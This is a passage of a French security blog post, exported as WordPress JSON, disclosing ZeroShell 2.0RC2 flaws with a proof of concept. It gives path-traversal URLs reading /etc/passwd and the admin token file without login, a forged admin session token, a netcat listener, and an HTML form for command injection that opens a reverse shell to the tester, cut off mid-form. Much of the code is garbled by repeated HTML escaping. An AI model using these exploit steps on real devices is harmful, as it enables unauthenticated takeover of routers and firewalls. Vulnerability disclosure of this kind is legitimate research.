{"id":942,"date":"2013-08-13T09:58:33","date_gmt":"2013-08-13T07:58:33","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=942"},"modified":"2016-07-25T00:41:23","modified_gmt":"2016-07-24T22:41:23","slug":"lfd-rce-zeroshell-2-0rc2-multiple-vulnerabilities","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/lfd-rce-zeroshell-2-0rc2-multiple-vulnerabilities\/","title":{"rendered":"[LFD &#038; RCE] ZeroShell 2.0RC2 Multiple vulnerabilities"},"content":{"rendered":"<p><\/p>\n<p><p><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/Zeroshell.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-956\" alt=\"Zeroshell\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/Zeroshell.gif\" width=\"180\" height=\"63\" \/><\/a><\/p>\n<h2>Introduction<\/h2>\n<p><span style=\"font-size: 13px;\">Dans la continuit\u00e9 des \u00e9valuations des routeurs\/firewall bas\u00e9s sur des distributions Linux et orient\u00e9s s\u00e9curit\u00e9, voici le tour de ZeroShell.<\/span><\/p>\n<blockquote>\n<p>Zeroshell est une distribution Linux cr\u00e9\u00e9e dans le but d&#8217;\u00eatre tr\u00e8s compl\u00e8te con\u00e7ue pour fournir des services r\u00e9seaux s\u00e9curis\u00e9s dans un r\u00e9seau local. Elle a \u00e9t\u00e9 d\u00e9velopp\u00e9e par Fulvio Ricciardi pour \u00eatre totalement administrable via une interface web. Fournie sous forme de Live CD, elle s&#8217;initialise en ins\u00e9rant le CD dans la machine cible et en la red\u00e9marrant. La connexion \u00e0 l\u2019interface d\u2019administration se fait via un navigateur web pour ensuite configurer les services r\u00e9seaux.<\/p>\n<\/blockquote>\n<h2>Fonctionnalit\u00e9s<\/h2>\n<p>Comme la plupart de ses cousines, ZeroShell offre un large panel de fonctionnalit\u00e9s, dont voici un extrait :<\/p>\n<ul>\n<li>Routeur statique.<\/li>\n<li>Routeur NAT (Network address translation) pour pouvoir utiliser des adresses IP priv\u00e9es masqu\u00e9es derri\u00e8re l\u2019adresse IP publique du fournisseur d\u2019acc\u00e8s Internet. La redirection de ports associ\u00e9 \u00e0 l\u2019adresse IP publique vers une IP et un port d\u2019un poste du r\u00e9seau local est possible.<\/li>\n<li>Protocole de routage RIPV2 (Routing information protocol) pour configuration dynamique des tables de routage.<\/li>\n<li>Pare-feu, pour filtrage des paquets avec fonction SPI (Stateful Packet Inspection) pour filtrer en fonction de l\u2019\u00e9tat de la connexion.<\/li>\n<li>Captive portal dont le but est d\u2019autoriser l\u2019acc\u00e8s au r\u00e9seau via une authentification web adoss\u00e9e \u00e0 un serveur Kerberos. Cette fonction est tr\u00e8s utile pour s\u00e9curiser un r\u00e9seau sans demander aucune configuration sur les postes clients.<\/li>\n<li>VPN LAN-to-LAN, pour interconnecter deux r\u00e9seaux locaux via Internet en encapsulant les trames Ethernet.<\/li>\n<li>VPN Host-to-LAN, pour permettre \u00e0 des postes clients de se connecter au r\u00e9seau local via internet.<\/li>\n<li>Authentification Radius, pour autoriser l\u2019acc\u00e8s au r\u00e9seau via des points d\u2019acc\u00e8s Wi-Fi.<\/li>\n<li>Serveur DNS multi-zones, pour d\u00e9finir sa propre zone DNS et les enregistrements associ\u00e9s.<\/li>\n<li>Client DynDNS si on a besoin d\u2019un nom DNS pour atteindre le routeur.<\/li>\n<li>Serveur DHCP pour assigner automatiquement des adresses IP aux postes clients qui le demandent.<\/li>\n<li>Qualit\u00e9 de service, pour hi\u00e9rarchiser la priorit\u00e9 et m\u00eame la bande passante attribu\u00e9e \u00e0 chacun des types de trafic qui traversent Zeroshell. Configur\u00e9 en mode pont, Zeroshell est ainsi tr\u00e8s utile m\u00eame pour une connexion internet familiale pour donner la priorit\u00e9 aux applications voix (de type Skype) et chat sur d\u2019autres applications (t\u00e9l\u00e9chargement etc\u2026).<\/li>\n<li>VLAN \u00e0 utiliser avec des switches supportant les VLAN. On peut ainsi par exemple dans un campus, cr\u00e9er un VLAN d\u00e9di\u00e9 aux points d\u2019acc\u00e8s WIFI et centraliser la gestion de l\u2019authentification par captive portal sur Zeroshell.<\/li>\n<li>Administration web (s\u00e9curis\u00e9 par filtrage sur IP),<\/li>\n<li>Acc\u00e8s SSH (s\u00e9curis\u00e9 par filtrage sur IP).<\/li>\n<li>Serveur proxy avec fonction de proxy transparent, int\u00e9grant un anti-virus.<\/li>\n<li>\u00e9quilibrage de charge et tol\u00e9rance de pannes par l&#8217;usage de plusieurs connexion internet.<\/li>\n<li>Pont 802.1d avec protocole Spanning Tree pour \u00e9viter les boucles dues aux chemins redondants;<\/li>\n<li>Connexion UMTS\/HSDPA par modem 3G;<\/li>\n<\/ul>\n<h2>Analyse de la solution<\/h2>\n<p>Je me suis bien \u00e9videmment int\u00e9ress\u00e9 \u00e0 cette distribution, son fonctionnement interne et sa potentielle s\u00e9curit\u00e9. Il en r\u00e9sulte qu&#8217;en quelques heures d&#8217;analyse, diverses vuln\u00e9rabilit\u00e9s peuvent \u00eatre exploit\u00e9e pour mettre \u00e0 mal le firewall\/routeur, et d&#8217;en prendre un contr\u00f4le total.<\/p>\n<h3>Remarques g\u00e9n\u00e9rales<\/h3>\n<p>Toute la solution est administrable au travers d&#8217;une interface web. Ce WebGUI est en r\u00e9alit\u00e9 un fichier binaire du nom de &#8220;kerbynet&#8221;, interpr\u00e9t\u00e9 dans le r\u00e9pertoire &#8220;cgi-bin&#8221; du serveur apache. Ce fichier est localis\u00e9 en lecture seule ici :<\/p>\n<p>[bash]\/cdrom\/usr\/local\/apache2\/cgi-bin\/kerbynet[\/bash]<\/p>\n<p>L&#8217;ensemble des urls faites vers la WebGUI respecte la forme suivante :<\/p>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?Section=&amp;amp;amp;amp;amp;amp;amp;amp;lt;SECTION&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;STk=&amp;amp;amp;amp;amp;amp;amp;amp;lt;SESSION_TOKEN&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=&amp;amp;amp;amp;amp;amp;amp;amp;lt;ACTION&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp;amp;amp;lt;PARAM&amp;amp;amp;amp;amp;amp;amp;amp;gt;=&amp;amp;amp;amp;amp;amp;amp;amp;lt;ADDITIONAL PARAM&amp;amp;amp;amp;amp;amp;amp;amp;gt;[\/bash]<\/p>\n<p>Le fichier binaire &#8220;kerbynet&#8221; effectue un routage des param\u00e8tres GET\/POST vers des scripts d\u00e9di\u00e9s aux traitements \u00e0 r\u00e9aliser sur le firewall\/routeur. Ces scripts, qui sont pour la plupart des scripts sh, sont localis\u00e9s dans le r\u00e9pertoire :<\/p>\n<p>[bash]\/root\/kerbynet.cgi\/scripts\/[\/bash]<\/p>\n<p>Le WebGUI dispose \u00e9galement de fichiers &#8220;template&#8221;, centralis\u00e9s dans :<\/p>\n<p>[bash]\/root\/kerbynet.cgi\/template\/[\/bash]<\/p>\n<p>Toutes les op\u00e9rations d&#8217;administrations n\u00e9cessitent au pr\u00e9alable que l&#8217;utilisateur &#8220;admin&#8221; se soit authentifi\u00e9 sur l&#8217;interface. Ce compte &#8220;admin&#8221; peut \u00eatre utilis\u00e9 dans la WebGUI, en SSH ou en mode console. Une fois la connexion WebGUI d&#8217;\u00e9tablie avec ce compte, un jeton de session (token) est g\u00e9n\u00e9r\u00e9 et transite entre chaque page d&#8217;administration sans lequel les requ\u00eates ne peuvent aboutir.<\/p>\n<p>Il y a toutefois quelques pages qui ne n\u00e9cessite pas de jeton de session, comme la page de la licence GPL du produit, ou encore l&#8217;acc\u00e8s aux certificats X.509.<\/p>\n<p>L&#8217;ensemble du WebGUI tourne sous l&#8217;utilisateur &#8220;apache&#8221; qui s&#8217;av\u00e8re brid\u00e9 par rapport au compte root. Toutefois cet utilisateur dispose d&#8217;un grand nombre de privil\u00e8ge, puisqu&#8217;il acc\u00e8de notamment (lecture\/\u00e9criture\/ex\u00e9cution) aux fichiers de l&#8217;interface web se trouvant dans \/root. Un fichier recence toutes les commandes d&#8217;administration que l&#8217;utilisateur apache peut r\u00e9aliser (sudoers NO PASSWD) :<\/p>\n<p>[bash]cat \/root\/kerbynet.cgi\/template.cfg\/sudoers[\/bash]<\/p>\n<p>La plupart des scripts qui ex\u00e9cutent les t\u00e2ches d&#8217;administration par le biais du WebGUI ne sont pas prot\u00e9g\u00e9s quand \u00e0 l&#8217;injection arbitraire de commande. Dans la suite de cet article, seul un PoC d&#8217;ex\u00e9cution de commande arbitraire est d\u00e9taill\u00e9, mais la plupart des scripts sont vuln\u00e9rables de la m\u00eame mani\u00e8re. Les variables GET\/POST qui sont transf\u00e9r\u00e9es aux scripts ne sont pas convenablement nettoy\u00e9es.<\/p>\n<h3>Liste des vuln\u00e9rabilit\u00e9s identifi\u00e9es<\/h3>\n<p>Parmi les vuln\u00e9rabilit\u00e9s\u00a0d\u00e9cel\u00e9es\u00a0et qui sont pr\u00e9sent\u00e9es dans le PoC de cet article, on d\u00e9nombre :<\/p>\n<ul>\n<li><em>Local File Disclosure<\/em> : lecture du contenu des fichiers locaux de la distribution (en fonction des droits d&#8217;acc\u00e8s), le tout sans \u00eatre authentifi\u00e9 \u00e0 l&#8217;interface web d&#8217;administration.<\/li>\n<li>G\u00e9n\u00e9ration de jeton de session d&#8217;administration valide, afin d&#8217;acc\u00e9der \u00e0 l&#8217;interface d&#8217;administration sans connaissances des acc\u00e8s.<\/li>\n<li><em>Reverse-shell<\/em> : r\u00e9cup\u00e9ration d&#8217;un <a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">reverse-shell<\/a> complet sur la distribution, sans s&#8217;\u00eatre authentifi\u00e9<\/li>\n<li><em>Admin password retrieval<\/em> : r\u00e9cup\u00e9ration en clair du mot de passe d&#8217;administration associ\u00e9 au compte &#8220;admin&#8221;, utilisable dans l&#8217;interface WebGUI, en SSH ou via la console (root)<\/li>\n<\/ul>\n<h3>Local File Disclosure<\/h3>\n<p>La page &#8220;About&#8221; du produit se situe \u00e0 l&#8217;adresse suivante :<\/p>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?Section=NoAuthREQ&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=About[\/bash]<\/p>\n<p>Cette url ne comportre aucun jeton de session, et peut donc \u00eatre consult\u00e9e sans authentification. Apr\u00e8s une recherche de la licence GPL sur le syst\u00e8me de fichier, celui-ci est stock\u00e9 dans :<\/p>\n<p>[bash]\/root\/kerbynet.cgi\/template\/About[\/bash]<\/p>\n<p>Il appara\u00eet nettement qu&#8217;une vuln\u00e9rabilit\u00e9 de lecture de fichier locaux est pr\u00e9sente :<\/p>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?Section=NoAuthREQ&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=..\/..\/..\/etc\/passwd[\/bash]<\/p>\n<div id=\"attachment_945\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell1.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-945\" class=\"size-medium wp-image-945\" alt=\"Zeroshell Local file disclosure\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell1-300x100.png\" width=\"300\" height=\"100\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell1-300x100.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell1-1024x341.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell1.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-945\" class=\"wp-caption-text\">Zeroshell Local file disclosure<\/p><\/div>\n<h3>G\u00e9n\u00e9ration du jeton de session d&#8217;administration<\/h3>\n<p>Comme dit pr\u00e9c\u00e9demment, toutes les op\u00e9rations d&#8217;administration de ZeroShell n\u00e9cessitent qu&#8217;une authentification au compte &#8220;admin&#8221; soit faite. Une fois connect\u00e9, un jeton de session transite entre chaque page pour valider les requ\u00eates. Ce jeton est stock\u00e9:<\/p>\n<ul>\n<li>En param\u00e8tre GET du nom de &#8220;STk&#8221; comme &#8220;Session Token&#8221;, exemple : &#8220;9c00c5f06808b45a89e858d1954088f118f188a7&#8221;<\/li>\n<li>En &#8220;input&#8221; de formulaire de type &#8220;hidden&#8221; et de nom &#8220;STk&#8221; \u00e9galement<\/li>\n<\/ul>\n<p>Je me suis par cons\u00e9quent plong\u00e9 dans le m\u00e9canisme interne du routeur\/firewall concernant la g\u00e9n\u00e9ration de ce jeton. Cette g\u00e9n\u00e9ration s&#8217;effectue dans divers scripts :<\/p>\n<p>[bash]&amp;amp;amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;\/root\/kerbynet.cgi\/scripts\/net_showinterface:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n\/root\/kerbynet.cgi\/scripts\/qos_showinterface:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n\/root\/kerbynet.cgi\/scripts\/vpn_list:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n\/root\/kerbynet.cgi\/scripts\/net_list:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n\/root\/kerbynet.cgi\/scripts\/qos_list:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n\/root\/kerbynet.cgi\/scripts\/storage_netDB:STk=&amp;amp;amp;amp;amp;amp;amp;amp;quot;`rand&#8220;cat \/tmp\/STk_Admin 2&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/dev\/null`&amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;[\/bash]<\/p>\n<p>Ce jeton de session est donc g\u00e9n\u00e9r\u00e9 \u00e0 partir de la fonction &#8220;rand&#8221;, qui retourne 8 chiffres al\u00e9atoires, et via le contenu du fichier &#8220;\/tmp\/STk_Admin&#8221;.\u00a0Ce fichier\u00a0&#8220;\/tmp\/STk_Admin&#8221; n&#8217;est cr\u00e9\u00e9 que si une connexion au compte &#8220;admin&#8221; via la WebGUI a d\u00e9j\u00e0 \u00e9t\u00e9 r\u00e9alis\u00e9e.<\/p>\n<p>En exploitant la vuln\u00e9rabilit\u00e9 <em>local file disclosure<\/em> d\u00e9taill\u00e9e pr\u00e9c\u00e9demment, il est possible de r\u00e9cup\u00e9rer le contenu de ce fichier :<\/p>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?Section=NoAuthREQ&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=..\/..\/..\/tmp\/STk_Admin[\/bash]<\/p>\n<div id=\"attachment_946\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell2.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-946\" class=\"size-medium wp-image-946\" alt=\"Zeroshell admin session token\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell2-300x100.png\" width=\"300\" height=\"100\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell2-300x100.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell2-1024x341.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell2.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-946\" class=\"wp-caption-text\">Zeroshell admin session token<\/p><\/div>\n<p>Pour forger un hash de session d&#8217;administration valide (STk), il suffit de faire pr\u00e9c\u00e9der ce hash de 8 chiffres de votre choix :<\/p>\n<p>[bash]13371337d5b4310596800b81c5a84a92287d2b13[\/bash]<\/p>\n<p>Une fois ce hash g\u00e9n\u00e9r\u00e9, il est directement utilisable via les URLs suivantes pour acc\u00e9der aux pages d&#8217;administrations sans connaissance du mot de passe (ces pages sont normalement charg\u00e9es dans un frameset) :<\/p>\n<h4>Menu de gauche<\/h4>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?STk=&amp;amp;amp;amp;amp;amp;amp;amp;lt;GENERATED_SESSION_ID&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=sx[\/bash]<\/p>\n<div id=\"attachment_947\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell3.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-947\" class=\"size-medium wp-image-947\" alt=\"Acc\u00e8s au menu de gauche avec un jeton g\u00e9n\u00e9r\u00e9\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell3-300x183.png\" width=\"300\" height=\"183\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell3-300x183.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell3-1024x626.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell3.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-947\" class=\"wp-caption-text\">Acc\u00e8s au menu de gauche avec un jeton g\u00e9n\u00e9r\u00e9<\/p><\/div>\n<h4>Menu d&#8217;utilitaires<\/h4>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?STk=&amp;amp;amp;amp;amp;amp;amp;amp;lt;GENERATED_SESSION_ID&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=utilities_menu[\/bash]<\/p>\n<div id=\"attachment_948\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell4.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-948\" class=\"size-medium wp-image-948\" alt=\"Acc\u00e8s au menu utilitaires avec un jeton g\u00e9n\u00e9r\u00e9\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell4-300x65.png\" width=\"300\" height=\"65\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell4-300x65.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell4-1024x224.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell4.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-948\" class=\"wp-caption-text\">Acc\u00e8s au menu utilitaires avec un jeton g\u00e9n\u00e9r\u00e9<\/p><\/div>\n<h4>Menu d&#8217;en-t\u00eate<\/h4>\n<p>[bash]http:\/\/&amp;amp;amp;amp;amp;amp;amp;amp;lt;ZEROSHELL_IP&amp;amp;amp;amp;amp;amp;amp;amp;gt;\/cgi-bin\/kerbynet?STk=&amp;amp;amp;amp;amp;amp;amp;amp;lt;GENERATED_SESSION_ID&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;Action=Render&amp;amp;amp;amp;amp;amp;amp;amp;amp;Object=head[\/bash]<\/p>\n<div id=\"attachment_949\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell5.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-949\" class=\"size-medium wp-image-949\" alt=\"Acc\u00e8s au reboot\/shutdown avec un jeton g\u00e9n\u00e9r\u00e9\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell5-300x65.png\" width=\"300\" height=\"65\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell5-300x65.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell5-1024x224.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/zeroshell5.png 1114w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-949\" class=\"wp-caption-text\">Acc\u00e8s au reboot\/shutdown avec un jeton g\u00e9n\u00e9r\u00e9<\/p><\/div>\n<h3>Remote Command Execution &#8211; Reverse-shell<\/h3>\n<p>Pour cette \u00e9tape, il est n\u00e9cessaire qu&#8217;un jeton de session d&#8217;administration (g\u00e9n\u00e9r\u00e9 via la m\u00e9thode pr\u00e9c\u00e9dente ou non) soit en votre possession. Tous les formulaires HTML de l&#8217;interface WebGUI envoient en d\u00e9finitive leurs donn\u00e9es \u00e0 des scripts SH (via le binaire &#8220;kerbynet&#8221;). Ces donn\u00e9es ne sont h\u00e9las pas suffisamment valid\u00e9es et nettoy\u00e9es. Il est ainsi possible d&#8217;alt\u00e9rer l&#8217;ex\u00e9cution l\u00e9gitime des scripts avec des commandes arbitraires.<\/p>\n<p>Dans l&#8217;exemple pr\u00e9sent, la commande arbitraire ex\u00e9cut\u00e9e sur la distribution est de lancer un netcat via une fifo pour obtenir un reverse-shell du c\u00f4t\u00e9 du pentester.<\/p>\n<p>Le pentester commence par mettre son propre netcat en \u00e9coute :<\/p>\n<p>[bash]nc -l -vv -p [PENTESTER_PORT][\/bash]<\/p>\n<p>Puis, il suffit de lancer le script HTML suivant dans son navigateur, apr\u00e8s avoir \u00e9dit\u00e9 :<\/p>\n<ul>\n<li>[PENTESTER_IP] : l&#8217;ip du pentester vers laquelle ZeroShell va transmettre son shell<\/li>\n<li>[PENTESTER_PORT] : le port netcat en \u00e9coute sur la machine du pentester<\/li>\n<li>[ZEROSHELL_IP] : l&#8217;ip\/nom d&#8217;h\u00f4te du ZeroShell cibl\u00e9<\/li>\n<li>[GENERATED_SESSION_ID] : le jeton de session captur\u00e9 ou g\u00e9n\u00e9r\u00e9<\/li>\n<\/ul>\n<p>[html]&amp;amp;amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;lt;html&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;body&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/[ZEROSHELL_IP]\/cgi-bin\/kerbynet&#8217; method=&#8217;post&#8217;&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;Action&#8217; value=&#8217;Lookup&#8217; \/&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;STk&#8217; value='[GENERATED_SESSION_ID]&#8217; \/&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;Section&#8217; value=&#8217;DNS&#8217; \/&amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; 